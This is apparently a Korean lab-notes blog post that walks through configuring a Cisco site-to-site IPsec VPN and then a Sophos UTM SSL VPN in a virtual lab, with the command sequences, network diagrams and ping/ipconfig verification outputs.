4. (config-isakmp)# hash [hash 알고리즘]  
5. (config-isakmp)# group [DH그룹 번호] 
6. (config-isakmp)# lifetime [VPN 지속시간]  
7. (config)# crypto isakmp key [비밀번호] address [상대 장비 IP] [서브넷 마스크]


설명 
1. ISAKMP 보안 정책을 만든다. 정책 번호는 1~10000까지 사용 가능하며, 낮은 번호가 우선 적용된다.
2. 암호화 알고리즘을 선택한다.
3. 데이터 무결성을 체크한다.
4. 해쉬 알고리즘을 선택한다.
5. 번호가 높을 수록 강력한 암호화를 제공한다.
6. 시간 범위는 60~86400초이며, 양측 수명이 다르면 짧은 것을 적용한다.


Pahse2 설정 - 세션 키 생성
1. (config)# crypto ipsec transform-set [정책 식별 이름] [IPsec 암호화 알고리즘] [인증 알고리즘]
2. (config-crypto-trans)# mode [IPsec 연결 모드]
3. (config)# crypto map [정책 식별 이름] [정책 식별 번호] ipsec-isakmp
4. (config-crypto-map)# match address [IPsec 통신데이터 - ACL]
5. (config-crypto-map)# set peer [상대 장비 주소]
6. (config-crypto-map)# set transform-set [암호화 적용할 IPsec 정책 이름]
7. (config-if)# crypto map [정책 식별 이름]


설명 
1. 암호화 방법 및 Hash를 정의한다.
2. mode의 기본 설정 값은 tunnle이다.
3~6. 적용할 정책을 구성한다.
7. crypto map을 인터페이스에 적용한다.

본사의 IPsec VPN 설정

IKE 1단계 정책을 설정한다.
!R2
sh crypto isakmp policy
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key cisco address 1.1.34.4
 crypto isakmp key cisco address 1.1.35.5  


IKE 2단계 정책을 설정한다.
!R2
 ip access-list extended R4
 permit ip 10.1.10.0 0.0.0.255 10.1.40.0 0.0.0.255
 permit ip 10.1.12.0 0.0.0.255 10.1.40.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
 ip access-list extended R5
 permit ip 10.1.10.0 0.0.0.255 10.1.50.0 0.0.0.255
 permit ip 10.1.12.0 0.0.0.255 10.1.50.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
 exit
 
IKE 2단계 SA 보안 알고리즘
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 
 
R2#sh crypto ipsec transform-set 
Transform set PHASE2-POLICY: { esp-aes esp-md5-hmac  } 
   will negotiate = { Tunnel,  }, 


크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립토 맵(crypto map)을 만든다.
!R2
conf t
 crypto map VPN 10 ipsec-isakmp
 match address R4
 set peer 1.1.34.4
 set transform-set PHASE2-POLICY
 exit
 crypto map VPN 20 ipsec-isakmp
 match address R5
 set peer 1.1.35.5
 set transform-set PHASE2-POLICY
 exit

크립토 맵을 인터페이스에 적용한다.
 int s0/1
 crypto map VPN
 end
 
 
R2#sh crypto isakmp policy           

Global IKE policy
Protection suite of priority 10
	encryption algorithm:	AES - Advanced Encryption Standard (128 bit keys).
	hash algorithm:		Secure Hash Standard
	authentication method:	Pre-Shared Key
	Diffie-Hellman group:	#2 (1024 bit)
	lifetime:		86400 seconds, no volume limit
Default protection suite
	encryption algorithm:	DES - Data Encryption Standard (56 bit keys).
	hash algorithm:		Secure Hash Standard
	authentication method:	Rivest-Shamir-Adleman Signature
	Diffie-Hellman group:	#1 (768 bit)
	lifetime:		86400 seconds, no volume limit

R2#sh crypto ipsec transform-set     
Transform set PHASE2-POLICY: { esp-aes esp-md5-hmac  } 
   will negotiate = { Tunnel,  }, 

R2#sh crypto map 
Crypto Map "VPN" 10 ipsec-isakmp
	Peer = 1.1.34.4
	Extended IP access list R4
	    access-list R4 permit ip 10.1.10.0 0.0.0.255 10.1.40.0 0.0.0.255
	    access-list R4 permit ip 10.1.12.0 0.0.0.255 10.1.40.0 0.0.0.255
	    access-list R4 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
	Current peer: 1.1.34.4
	Security association lifetime: 4608000 kilobytes/3600 seconds
	PFS (Y/N): N
	Transform sets={ 
		PHASE2-POLICY, 
	}

Crypto Map "VPN" 20 ipsec-isakmp
	Peer = 1.1.35.5
	Extended IP access list R5
	    access-list R5 permit ip 10.1.10.0 0.0.0.255 10.1.50.0 0.0.0.255
	    access-list R5 permit ip 10.1.12.0 0.0.0.255 10.1.50.0 0.0.0.255
	    access-list R5 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
	Current peer: 1.1.35.5
	Security association lifetime: 4608000 kilobytes/3600 seconds
	PFS (Y/N): N
	Transform sets={ 
                PHASE2-POLICY, 
	}
	Interfaces using crypto map VPN:
		Serial0/1


와이어 샤크를 이용해서 패킷을 모니터링을 한다.
모니터링 구간은 두 군데이며 R3 <--> R4, R3 <--> R5 이다.

지사 R4의 IPsec VPN 설정

!R4
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key cisco address 1.1.23.2

IKE 2단계 정책을 설정한다.
!R4
 ip access-list extended R2
 permit ip 10.1.40.0 0.0.0.255 10.1.10.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.12.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
 exit
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 
 exit
 
크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립토 맵(crypto map)을 만든다.
!R4
 crypto map VPN 10 ipsec-isakmp
 match address R2
 set peer 1.1.23.2
 set transform-set PHASE2-POLICY
 exit
 
크립토 맵을 인터페이스에 적용한다.
 int s0/2
 crypto map VPN
 exit 
 

지사 R5의 IPsec VPN 설정

!R5
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key 6 cisco address 1.1.23.2

IKE 2단계 정책을 설정한다.
!R5
 ip access-list extended R2
 permit ip 10.1.50.0 0.0.0.255 10.1.10.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.12.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
 exit
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 
 exit
 
크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립터 맵(crypto map)을 만든다.
!R5
 crypto map VPN 10 ipsec-isakmp
 match address R2
 set peer 1.1.23.2
 set transform-set PHASE2-POLICY
 exit
 
크립토 맵을 인터페이스에 적용한다.
 int s0/3
 crypto map VPN
 exit 
 

IPsec VPN 동작 확인
!R2
 clear access-list counters
 sh crypto isakmp peers
 
ping test를 통해 통신이 되는지 확인하고 와이어 샤크로 main mode, quick mode, ESP 패킷을 확인한다.
R1#ping 10.1.40.4

실습> OpenVPN

오픈소스 VPN으로 리눅스에서 구축할 수 있는 VPN 패키지

실습> SSL VPN 설정하기

***** 동영상을 참고한다 *****

-- UTM1 네트워크 구성도 --

192.168.108.1 : Host OS
192.168.108.100 : CentOS 7,    F/W(NIDS) F/W에 Snort 를 설치한다.
192.168.108.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)
192.168.108.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
192.168.108.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
192.168.108.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
192.168.108.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)
192.168.108.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
192.168.108.200 : Kali Linux,  Attacker 

                  192.168.108.110  -------------------------------------------------------+ 
                  192.168.108.105                  DNAT                                   |
                  192.168.108.104(DBMS)                                                   |
                  192.168.108.103:80 -------------------------------+                     |
192.168.108.80    192.168.108.102:80 ------------------------+      |                     |
Windws 7          192.168.108.101:80 -----------------+      |      |                     |
  |               192.168.108.0/24                    |      |      |                     |
  |          108.150  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM1 ] ------- 내부망   |      |      |                     |
  |      eth2(vmnet2) |    |  eth1(vmnet1)            |80    |80    |80                   |
  |           102.253 |      101.253                  |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
192.168.108.1         |                                |      |      |      ^
                    Windows XP                         |      |      |      |
                     .105                              +------+------+------+
                    ens38(vment2)                      웹서버 모두 DBMS 서버를 사용
                 192.168.102.0/24                          ens33 (vmnet1)



UTM: 
VMnet8 192.168.108.150
DMZ 192.168.101.253
Internal 192.168.102.253

Windows XP: 
VMnet2 192.168.102.105/24, GW: 192.168.102.253
firewall: off  <-- firewall.cpl -> 방화벽 사용 안함

Windows 7:
VMnet8 192.168.108.80/24, GW; 기본 게이트웨이 설정 X

Windows 7에서 Gateway 설정이 되어 있는 경우
Windows 7에서 Windows XP로 ping test로 확인한다.
C:\>ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 1ms, 평균 = 1ms

C:\>tracert -d  192.168.102.105

최대 30홉 이상의 192.168.102.105(으)로 가는 경로 추적

  1    <1 ms    <1 ms    <1 ms  192.168.108.2
  2    <1 ms    <1 ms    <1 ms  192.168.102.105

추적을 완료했습니다.

Windows 7에서 Gateway 설정이 안되어 있는 경우
윈도우 7에서 기본 GW가 없으므로 192.168.102.105로 ping을 치면 통신이 안된다.
C:\Users\user>ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 0, 손실 = 4 (100% 손실),


1. VPN 사용자 등록
[Definitions & Users] > [Users & Groups] > [+ New User...]
Add User
Username: vpn01
Realname: vpn01
Email address: aa@a.com
Password: P@ssw0rd , Repeat: P@ssw0rd
Comment: VPN 테스트 사용자

2. SSL VPN 설정
[Remote Access] > [SSL] > [Profiles] > [+ New Remote Access Profil ...]
Users and Groups: vpn01 선택 
Local Networks: internal(network)
Automatic firewall rules: 반드시 체크
Comment: SSLVPN 테스트

3. 설정 탭
[Remote Access] > [SSL] > [Settings]
Interface Address: External(Address) 192.168.108.150
Protocol: TCP
Port: 443
Override hostname: 192.168.108.150

Apply 버튼을 클릭한다.

Virtual IP Pool
Pool network: VPN Pool(SSL)  <-- 10.242.10.0/24

4. 관리 
[Management] > [User Portal]
글로벌 -> 최종 사용자 포털: 활성화 
Allowed Networks: any (0.0.0.0) -> 적용
에러가 발생해도 OK 버튼을 누르면 설정된다.

5. IP주소 확인
cmd에서 ipconfig로 네트워크를 확인한다.
C:\>ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 192.168.108.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


6. 사이트 접속
Windows 7에서 크롬으로 아래 사이트를 접속한다.
https://192.168.108.150 접속하면 User Portal이 나오고 로그인을 한다.

사용자이름: vpn01
비밀번호: P@ssword

로그인 후 원격접속 탭을 클릭하면 SSL VPN 메뉴가 나오고 첫 번째 프로그램 다운로드 후 설치

================ 첫 번째 프로그램 ================ 
Windows Vista/7/8용 클라이언트 소프트웨어, 키 및 자동 구성을 
포함하여 전체 설치 패키지를 다운로드 하려면 여기를 클릭하십시오.	
=============================================== 

프로그램 설치가 완료되면 트래이 아이콘 부분에 신호등이 생기고 신호등을 클릭한 후 
로그인창이 뜨면 username/password에 아래처럼 선택하고 접속한다.
userid : vpn01
userpw : P@ssw0rd

6. 통신 확인
cmd -> ipconfig 
ping 192.168.102.105

C:\>ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::a1cd:d5d8:327d:b9d4%22
   IPv4 주소 . . . . . . . . . : 10.242.2.6
   서브넷 마스크 . . . . . . . : 255.255.255.252
   기본 게이트웨이 . . . . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 192.168.108.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


내부망 Windows XP와 ping test로 통신을 확인한다.
C:\>ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
192.168.102.105의 응답: 바이트=32 시간<1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간<1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간<1ms TTL=127

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

실습> SSL VPN 설정하기

***** 현재 변경된 네트워크에서 설정한다. *****

-- UTM1 네트워크 구성도 --


네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24

200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  <-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  <-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 




UTM: 
VMnet8 200.200.200.200
DMZ 172.16.10.253
Internal 192.168.10.253

Windows XP: 
VMnet2 192.168.10.105/24, GW: 192.168.10.253
firewall: off  <-- firewall.cpl -> 방화벽 사용 안함

Windows 7:
VMnet8 200.200.200.80/24, GW; 기본 게이트웨이 설정 X

Windows 7에서 Gateway 설정이 되어 있는 경우
Windows 7에서 Windows XP로 ping test로 확인한다.
C:\>ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 1ms, 평균 = 1ms

C:\>tracert -d  192.168.10.105

최대 30홉 이상의 192.168.10.105(으)로 가는 경로 추적

  1    <1 ms    <1 ms    <1 ms  200.200.200.2
  2    <1 ms    <1 ms    <1 ms  192.168.10.105

추적을 완료했습니다.

Windows 7에서 Gateway 설정이 안되어 있는 경우
윈도우 7에서 기본 GW가 없으므로 192.168.10.105로 ping을 치면 통신이 안된다.
C:\Users\user>ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 0, 손실 = 4 (100% 손실),

C:\Users\user>tracert -d 192.168.10.105

Tracing route to 192.168.10.105 over a maximum of 30 hops

  1  Transmit error: code 1231.

Trace complete.


1. VPN 사용자 등록
[Definitions & Users] > [Users & Groups] > [+ New User...]
Add User
Username: vpn01
Realname: vpn01
Email address: aa@a.com
Password: P@ssw0rd , Repeat: P@ssw0rd
Comment: VPN 테스트 사용자

2. SSL VPN 설정
[Remote Access] > [SSL] > [Profiles] > [+ New Remote Access Profil ...]
Profile name: SSL VPN
Users and Groups: vpn01 선택 
Local Networks: internal(network)  <-- 192.168.10.0/24
Automatic firewall rules: 반드시 체크
Comment: SSLVPN 테스트

3. 설정 탭
[Remote Access] > [SSL] > [Settings]
Interface Address: External(Address) 200.200.200.200
Protocol: TCP
Port: 443
Override hostname: 200.200.200.200

Apply 버튼을 클릭한다.

Virtual IP Pool
Pool network: VPN Pool(SSL)  <-- 10.242.10.0/24 (Default)

4. 관리 
[Management] > [User Portal]
글로벌 -> 최종 사용자 포털: 활성화 
Allowed Networks: any (0.0.0.0) -> 적용
에러가 발생해도 OK 버튼을 누르면 설정된다.

>>> 여기까지 설정하면 SSL VPN은 설정이 완료되었다. <<<

5. IP주소 확인
cmd에서 ipconfig로 네트워크를 확인한다.
C:\>ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 200.200.200.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


6. 사이트 접속
Windows 7에서 크롬으로 아래 사이트를 접속한다.
https://200.200.200.200 접속하면 User Portal이 나오고 로그인을 한다.

사용자이름: vpn01
비밀번호: P@ssword

로그인 후 원격접속 탭을 클릭하면 SSL VPN 메뉴가 나오고 첫 번째 프로그램 다운로드 후 설치

================ 첫 번째 프로그램 ================ 
Windows Vista/7/8용 클라이언트 소프트웨어, 키 및 자동 구성을 
포함하여 전체 설치 패키지를 다운로드 하려면 여기를 클릭하십시오.	
=============================================== 

프로그램 설치가 완료되면 트래이 아이콘 부분에 신호등이 생기고 신호등을 클릭한 후 
로그인창이 뜨면 username/password에 아래처럼 선택하고 접속한다.
Username: vpn01
Password: P@ssw0rd

6. 통신 확인
cmd -> ipconfig 
ping 192.168.10.105

C:\>ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::a1cd:d5d8:327d:b9d4%22
   IPv4 주소 . . . . . . . . . : 10.242.2.6
   서브넷 마스크 . . . . . . . : 255.255.255.252
   기본 게이트웨이 . . . . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 200.200.200.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


내부망 Windows XP와 ping test로 통신을 확인한다.
C:\>ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
192.168.10.105의 응답: 바이트=32 시간<1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간<1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간<1ms TTL=127

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

C:\Users\user>tracert -d 192.168.10.105

Tracing route to 192.168.10.105 over a maximum of 30 hops

  1    <1 ms    <1 ms    <1 ms  10.242.2.1
  2     1 ms     2 ms     1 ms  192.168.10.105

Trace complete.

UTM으로 접속해서 터널(tun0)인터페이스의 IP주소를 확인한다.
login as: loginuser
loginuser@200.200.200.200's password:
Last login: Fri Apr 14 09:38:17 2023 from 172.16.10.1

loginuser@utm9:/home/login > su -
Password:
utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.105/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever
7: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100
    link/none
    inet 10.242.2.1 peer 10.242.2.2/32 scope global tun0
       valid_lft forever preferred_lft forever
utm9:/root #

profile
정보보안 전문가

0개의 댓글